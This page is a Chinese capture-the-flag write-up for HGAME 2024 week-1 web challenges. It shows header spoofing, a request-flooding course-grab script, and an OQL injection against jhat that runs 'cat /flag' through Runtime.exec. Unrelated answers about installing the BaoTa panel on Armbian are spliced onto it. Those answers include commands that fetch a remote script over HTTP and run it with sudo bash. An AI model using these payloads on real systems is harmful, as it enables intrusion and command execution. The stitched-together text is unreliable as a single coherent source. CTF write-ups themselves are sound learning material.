【Web】小白也能看懂的HGAME week1个人wp(全)

目录

ezHTTP

Bypass it

Select Courses

2048*16 

jhat


ezHTTP

exp 如下:
GET / HTTP/1.1
Host: 47.100.137.175:31717
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
X-Real-IP: 127.0.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, / ;q=0.
8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Referer: vidar.club
Content-Length: 2

响应头jwt解密拿到flag

Bypass it

做题的时候直接禁用 js 秒杀就好,但写 wp 换种解法 , 以更深入了解过程。
一个登录框,无法进行注册,用 bp 抓包看看注册页面

只要访问register.php页面,然后post 账号和密码就可以注册完成 

注册成功,用账号密码登录。点这个拿到flag 

hgame{2c02d60e3aa76b219fa14ba060715b168110ed26} 

Select Courses

题目要选全部的课程,但是课都满选不上,发现后台随机一段时间会放出课来,通过抓包发现上传的是id 进行选课,写个脚本,过一段时间自动选课, exp 如下
import requests
import time
import json
url="http://47.100.137.175:31625/api/courses"


headers = {"Content-Type": "application/json"}
cookie={"PHPSESSID=bc814effa5ab0eade406bfb65865ac5e"}

for i in range(1,6):
    data={"id":i}
    for j in range(1000):
        time.sleep(0.5)
        r = requests.post(url=url, data=json.dumps(data), headers=headers)
        if ':1' not in r.text:
            print(str(i)+"课程抢课成功")
            print(r.text)
            break

url2='http://47.100.137.175:31625/api/ok'
r2=requests.get(url)
print(r2.text)
运行一段时间得到

课都选满了,直接拿flag 

2048*16 

进入页面后看源码,游戏的逻辑代码在 index-_wkhdPNY.js 中,用浏览器调试,开发者模式。注意按以
下截图步骤,先访问网页,再调用开发者工具。

然后让程序一直执行,按F11步入,想快点的话,也可以点一个函数V,在任意处下断点

 然后继续分析代码,发现有个函数如下

函数的主要作用是将一个类似于游戏胜利的信息添加到 DOM 中。如果参数 x 为真,则会将 CSS 类"game-won" 添加到 DOM 元素中,否则会将变量 t 的值添加到 DOM 元素中。具体来说,代码中通过"add" 方法将类名 "game-won" 添加到 DOM 元素的 class 属性中,然后通过数组与索引的方式获取DOM 元素并设置其 textContent 属性为变量 t 的值。
注意 var n=h
进入 console 工作台,输入 s0(h(439),"V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") 直接调用,得到flag

jhat

题目提示 rce oql
因为 oql 这块不是很熟
结合关键字去找找有没有相关文章
里面提到可以直接 rce
我们观察到 payload
java.lang.Runtime.getRuntime().exec('calc')
那么就是直接用 Runtime 来命令执行
直接输入 Runtime.getRuntime() 报错
全限定类名就行 java.lang.Runtime.getRuntime()
不出网不能反弹 shell, 经过尝试也不能写文件
考虑 BufferedReader 直接猜 flag 在根目录下于是最终 payload 如下
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine() 
 
拿到 flag:hgame{fe31b26ea50a080942180605d1e3de2784ba9a26}
### 回答1: Armbian是一种针对ARM架构的开源操作系统,宝塔是一款非常方便的服务器管理面板。在Armbian系统上安装宝塔可以帮助用户更轻松地管理服务器。 首先,我们需要根据所使用的硬件平台选择合适的Armbian镜像文件进行系统安装。可以通过Armbian官方网站下载相应版本的镜像文件。 然后,将下载好的Armbian镜像文件烧录到SD卡中,可以使用工具如Etcher进行操作。将烧录好的SD卡插入需要安装Armbian系统的设备。 接下来,将设备接通电源,启动设备并通过串口或者HDMI显示器等方式进入到Armbian系统。根据提示完成基本的系统设置,包括设置用户名、密码等。 打开终端,在命令行中输入以下命令进行更新系统: ``` sudo apt update sudo apt upgrade ``` 然后,我们需要安装宝塔面板的依赖库。在终端中输入以下命令: ``` wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.sh ``` 执行完上述命令后,会自动下载并安装宝塔面板安装过程可能需要一段时间,请耐心等待。 安装完成后,可以通过浏览器访问服务器的IP地址,进入到宝塔面板的登录界面。输入之前设置的用户名和密码,即可成功登录。 在宝塔面板中,用户可以进行一些服务器管理操作,包括添加网站、配置FTP服务器、安装数据库等等。通过宝塔面板,可以更加直观和方便地管理Armbian系统。 需要注意的是,由于Armbian系统是一个开源社区项目,安装宝塔面板可能会遇到一些兼容性或者稳定性的问题。如果在安装或使用过程中遇到问题,可以参考Armbian官方论坛或宝塔官方社区寻求帮助。 ### 回答2: Armbian系统是一款基于Ubuntu/Debian的开源操作系统,主要用于单板计算机,如树莓派和橙派等。宝塔面板是一款简单易用的Web服务器管理面板工具,能够提供一站式的服务器管理和在线应用部署。 要在Armbian系统上安装宝塔面板,需要按照以下步骤进行操作: 1. 登录到你的Armbian系统,并以root用户身份运行终端。 2. 首先,需要确保系统中已经安装了必要的依赖软件,包括curl和wget。可以使用以下命令来安装: ``` apt-get install curl wget -y ``` 3. 安装宝塔面板安装脚本。可以使用curl命令来下载安装脚本,并运行脚本进行安装: ``` curl -sSO http://download.bt.cn/install/install-ubuntu_6.0.sh && bash install-ubuntu_6.0.sh ``` 注意:安装过程可能需要较长时间,请耐心等待。 4. 安装完成后,会显示一个管理员登录地址和用户名/密码信息。可以通过访问该地址,在浏览器中登录宝塔面板进行管理。 5. 在登录宝塔面板后,可以进行一系列的服务器管理操作,包括网站创建、数据库配置、SSL证书安装等。 总结:通过以上步骤,我们可以在Armbian系统上成功安装宝塔面板,并且可以使用它来轻松管理和部署各种Web应用程序。 ### 回答3: 要在Armbian系统上安装宝塔面板,您可以按照以下步骤进行操作: 1. 首先,使用SSH(或其他远程连接工具)登录到您的Armbian系统。 2. 确保您的系统已经更新到最新版本。您可以使用以下命令进行系统更新: ``` sudo apt update sudo apt upgrade ``` 3. 下载宝塔面板安装脚本。您可以使用以下命令下载安装脚本: ``` wget -O install.sh http://download.bt.cn/install/install_6.0.sh ``` 4. 运行安装脚本。使用以下命令运行安装脚本: ``` sudo bash install.sh ``` 安装过程可能需要一些时间,请耐心等待。 5. 安装完成后,您可以通过浏览器访问http://服务器IP地址:8888登录宝塔面板,其中服务器IP地址是您的Armbian系统的IP地址。 6.首次登录系统会要求您设置管理员用户名和密码。请按照提示进行设置。 7. 登录成功后,您就可以使用宝塔面板管理您的Armbian系统了。宝塔面板提供了丰富的功能和工具,包括网站管理、数据库管理等。 请注意,安装宝塔面板可能会对系统进行一些配置更改和安装依赖项,因此请确保在执行此操作之前备份重要数据,以防发生意外情况。此外,宝塔面板是一个强大的工具,但也需要一定的系统资源,特别是在资源受限的设备上,使用时请注意系统的负载情况。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值